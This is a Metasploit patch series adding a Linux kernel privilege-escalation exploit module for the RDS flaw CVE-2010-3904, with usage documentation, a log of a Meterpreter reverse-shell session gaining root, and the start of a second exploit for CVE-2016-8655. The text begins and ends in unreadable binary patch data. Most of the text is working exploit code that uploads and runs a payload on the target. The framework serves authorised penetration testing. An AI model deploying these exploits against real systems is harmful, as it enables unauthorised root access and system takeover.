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 'Reliable Datagram Sockets (RDS) Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability in the rds_page_copy_user function + in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8 + to execute code as root (CVE-2010-3904). + + This module has been tested successfully on Fedora 13 (i686) with + kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64) + with kernel version 2.6.32-21-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Dan Rosenberg', # Discovery and C exploit + 'Brendan Coles' # Metasploit + ], + 'DisclosureDate' => 'Oct 20 2010', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'rds-fail.c' ], + [ 'EDB', '15285' ], + [ 'CVE', '2010-3904' ], + [ 'BID', '44219' ], + [ 'URL', 'https://securitytracker.com/id?1024613' ], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ], + [ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ], + [ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ], + [ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ], + ], + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', + 'WfsDelay' => 10, + 'PrependFork' => true + }, + 'DefaultTarget' => 0)) + register_options [ + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def modules_disabled? + modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip + (modules_disabled.eql?('1') || modules_disabled.eql?('2')) + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" + end + + def upload_and_compile(path, data) + upload "#{path}.c", data + output = cmd_exec "gcc -o #{path} #{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile" + end + + cmd_exec "chmod +x #{path}" + register_file_for_cleanup path + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2010-3904', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check + version = kernel_release + unless version.start_with? '2.6.3' + vprint_error "Linux kernel version #{version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Linux kernel version #{version} appears to be vulnerable" + + unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets' + vprint_error 'RDS kernel module is not available' + return CheckCode::Safe + end + vprint_good 'RDS kernel module is available' + + if modules_disabled? + unless cmd_exec('/sbin/lsmod').to_s.include? 'rds' + vprint_error 'RDS kernel module is not loadable' + return CheckCode::Safe + end + end + vprint_good 'RDS kernel module is loadable' + + CheckCode::Appears + end + + def exploit + if check != CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile executable_path, exploit_data('rds-fail.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + arch = kernel_hardware + if arch.include? 'x86_64' + upload_and_chmodx executable_path, exploit_data('rds-fail.x64') + else + upload_and_chmodx executable_path, exploit_data('rds-fail.x86') + end + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status 'Launching exploit...' + output = cmd_exec "#{executable_path} #{payload_path}" + output.each_line { |line| vprint_status line.chomp } + end +end From d3e46ca33ce774628d7daa60badeb10df22f6162 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 3 May 2018 13:00:01 +0000 Subject: [PATCH 02/41] Add documentation --- .../exploit/linux/local/rds_priv_esc.md | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/rds_priv_esc.md diff --git a/documentation/modules/exploit/linux/local/rds_priv_esc.md b/documentation/modules/exploit/linux/local/rds_priv_esc.md new file mode 100644 index 0000000000..fb48d88336 --- /dev/null +++ b/documentation/modules/exploit/linux/local/rds_priv_esc.md @@ -0,0 +1,78 @@ +## Description + + This module exploits a vulnerability in the `rds_page_copy_user` function + in `net/rds/page.c` (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8 + to execute code as `root` (CVE-2010-3904). + + +## Vulnerable Application + + This module has been tested successfully on: + + * Fedora 13 (i686) with kernel version 2.6.33.3-85.fc13.i686.PAE + * Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/rds_priv_esc` + 4. `set SESSION [SESSION]` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + **COMPILE** + + Options: `Auto` `True` `False` (default: `Auto`) + + Whether the exploit should be live compiled with `gcc` on the target system, + or uploaded as a pre-compiled binary. + + `Auto` will first determine if `gcc` is installed to compile live on the system, + and fall back to uploading a pre-compiled binary. + + +## Scenarios + + ``` + msf5 > use exploit/linux/local/rds_priv_esc + msf5 exploit(linux/local/rds_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/rds_priv_esc) > set lhost 172.16.191.188 + lhost => 172.16.191.188 + msf5 exploit(linux/local/rds_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Writing '/tmp/.zEAOL.c' (7282 bytes) ... + [*] Writing '/tmp/.kBTWC7E' (237 bytes) ... + [*] Launching exploit... + [*] Sending stage (853256 bytes) to 172.16.191.149 + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.149:40103) at 2018-05-03 08:52:59 -0400 + [+] Deleted /tmp/.zEAOL.c + [+] Deleted /tmp/.zEAOL + [+] Deleted /tmp/.kBTWC7E + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.149 + OS : Ubuntu 10.04 (Linux 2.6.32-21-generic) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + From 24af15b6e7b67df6f496b0c5d64b86e0c2853119 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 5 May 2018 07:16:53 +0000 Subject: [PATCH 03/41] Update kernel version and system arch detection --- modules/exploits/linux/local/rds_priv_esc.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/rds_priv_esc.rb b/modules/exploits/linux/local/rds_priv_esc.rb index 7913f62a98..845fecb193 100644 --- a/modules/exploits/linux/local/rds_priv_esc.rb +++ b/modules/exploits/linux/local/rds_priv_esc.rb @@ -119,7 +119,8 @@ class MetasploitModule < Msf::Exploit::Local def check version = kernel_release - unless version.start_with? '2.6.3' + unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') && + Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37') vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end @@ -164,10 +165,13 @@ class MetasploitModule < Msf::Exploit::Local else vprint_status 'Dropping pre-compiled exploit on system...' arch = kernel_hardware - if arch.include? 'x86_64' + case arch + when /amd64|ia64|x86_64|x64/i upload_and_chmodx executable_path, exploit_data('rds-fail.x64') - else + when /x86|i[3456]86/ upload_and_chmodx executable_path, exploit_data('rds-fail.x86') + else + fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}" end end From 5ae9b0185d04fde0d7cfb2210ad3e272cdde1a2c Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 7 May 2018 07:11:07 +0000 Subject: [PATCH 04/41] Add AF_PACKET chocobo_root Privilege Escalation exploit --- data/exploits/CVE-2016-8655/chocobo_root | Bin 0 -> 83976 bytes data/exploits/CVE-2016-8655/chocobo_root.c | 945 ++++++++++++++++++ .../local/af_packet_chocobo_root_priv_esc.rb | 193 ++++ 3 files changed, 1138 insertions(+) create mode 100644 data/exploits/CVE-2016-8655/chocobo_root create mode 100644 data/exploits/CVE-2016-8655/chocobo_root.c create mode 100644 modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb diff --git a/data/exploits/CVE-2016-8655/chocobo_root b/data/exploits/CVE-2016-8655/chocobo_root new file mode 100644 index 0000000000000000000000000000000000000000..2095807181687207f1946886e9c7dfb6f12a1057 GIT binary patch literal 83976 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 